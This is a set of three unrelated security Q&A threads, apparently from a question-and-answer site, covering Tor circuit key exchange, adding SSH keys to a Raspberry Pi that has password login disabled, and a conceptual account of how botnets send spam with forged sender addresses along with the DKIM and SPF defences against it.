How does a Tor exit node know the public key of the client? When the Tor exit node executes the client's request and receives a response from the server, it must create an onion cell that can be reversely decrypted along a circuit through the Tor network. Thus, the client must be the last one to decrypt, otherwise the contents of the request can be linked back to the client's IP by the first intermediate (bridge) node, breaking anonymity. Therefore it seems the exit node would need to first encrypt the response from the target server with the public key of the client -- therefore the client will be the only one that can decrypt and get the plaintext response.

However, how can the exit node encrypt with the public key of the client? If it had this knowledge wouldn't it be able to determine the identity of the client?

The client uses Diffie-Hellman to negotiate a session key with each node when establishing a circuit. This is done incrementally, so each DH handshake (after the first) is routed through the existing partial circuit.

https://svn.torproject.org/svn/projects/design-paper/tor-design.html#subsubsec:constructing-a-circuit

So, the exit node has a shared session key with someone, but doesn't know who.

Note also that the exit node does not add multiple layers of encryption to the response like the client does for the request. Rather, the exit encrypts the response with the session key for the client, and sends it back to the previous node in the circuit, which repeats the process. When it finally reaches the client, a layer of encryption has been added at each node, by that node. The client has a session key shared with each node, so it can peel back all the layers.


Adding new keys to a server that doesn't accept password login I have a Raspberry Pi with some projects on it. It is open to the internet at port 22. I have fail2ban installed and I have disabled password log in. Right now I have successfully set up a key pair between the Pi and a Windows laptop.

Now that I cannot log into the Pi without a key, scp won't let me send a new key from my desktop. I'm assuming that I have to transfer the public (desktop) key to the laptop, then to the Pi. Is there a preferred or streamlined way to accomplish this?

You could set up an ssh-proxy tunnel on the authorized Laptop, opening up a listening port, and connecting it through your ssh tunnel to the PI, then send the file through that, but I'm not sure that is any easier or more streamlined, then just (as you correctly said) copying the file to the laptop, and transferring it from there.

It might save you time in the future if you end up needing to do it multiple times though.


How do botnets deliver spam? I can't seem to find the answer to this question.
I read that botnet bots are used as email relays (they have smtp servers installed).

Wikipedia on Open mail relay:

  "(...)Internet initiatives to close open relays have ultimately missed
  their intended purpose because spammers have created distributed
  botnets of zombie computers that contain malware with mail relaying
  capability. The number of clients under spammers' control is now so
  great that previous anti-spam countermeasures that focused on closing
  open relays are no longer effective."

I also read that botnets are used to cover tracks and bypass black-lists of spam.This  brings me many questions:

Do botnets have email domains compromised?
How do botnets deliver email with fake source addresses?(without
email trusted email servers compromissed)
Nowadays, it is hard to spam known email companies (like gmail)
because they do not accept telnet connections and fake source
addresses. It requires authentication. How do botnets and spammers
deal with this?
If bots are relays, don't that mean that they can only deliver spam
to other bots. Does this make any sense? This won't even affect
users.
How can botnets bypass domain blacklisting if they need known
accounts and therefore domains to send on source addresses?

I also read a pdf from this link:
https://www.damballa.com/downloads/r_pubs/WP_Botnet_Communications_Primer.pdf

It states this about domain flux:

  Domain Wildcarding abuses native DNS functionality to wildcard (e.g.,
  *) a higher domain such that all FQDN’s point to the same IP address. For example, *.damballa.com could encapsulate both
  mypc.atl.damballa.com and myserver.damballa.com. This technique is
  most commonly associated with botnets that deliver spam and phishing
  content – whereby the wildcarded information that appears random (e.g.
  “asdkjlkwer” of asdkjlkwer.atl.damballa) is used by the botnet
  operator to uniquely identify a victim, track success using various
  delivery techniques, and bypass anti-spam technologies.

Can anyone explain me the bold sentences? Who is the victim? The compromised machine or the spam target? Ho does domain wildcarding help on spam and phishing?

First, some background information about how email works.  The basic issue is that server-to-server contacts using SMTP are unauthenticated: all a server knows about the computer contacting it is

The IP address
Who the computer wants to send the email to
Who the computer claims they are
Who the computer claims the email is from

Note that the last two items are not authenticated: the sending computer can lie freely about them.

Ordinary email works as follows (simplified somewhat):

Email client makes a connection to the sending server using authenticated SMTP or IMAP.
Sending server makes an unauthenticated SMTP connection to the receiving server and hands off the email.
Recipient makes an authenticated POP3 or IMAP connection to the receiving server and requests the email.

A spammer's botnet instead does the following:

Spammer contacts botnet, tells it to send spam
Botnet computer acts as SMTP server, makes unauthenticated SMTP connection to receiving server and hands off the email.
Recipient makes an authenticated POP3 or IMAP connection to the receiving server and requests the email.

To answer your questions:

Generally, no.
By lying.  The "from" address on an email is trivial to forge (as easy as forging it on a piece of physical mail).  There are various techniques to combat this: DomainKeys Identified Mail and Sender Policy Framework are ways to limit which IP addresses are permitted to send email for a given domain name; an older technique was a simple reverse address lookup to see if the IP address resolved to the domain, but this has reliability issues.
By being careful about their lies.  If a spammer is careful about who they claim the email is from (eg. using a "from" domain that doesn't provide DKIM or SPF information), they can lie without being caught.
An SMTP server can accept email for local delivery, or for sending on to another server.  An SMTP server that doesn't require authentication when accepting email to send onwards is an open relay.  By this definition, bots aren't open relays -- they act more like traditional email servers, with the spammer as the only authorized user.
It's unclear what you're asking here.  Botnets mostly don't need known accounts to send spam.
This is irrelevant to spamming.  It's a technique for hiding botnet infrastructure that lets multiple domain names resolve to a single IP address.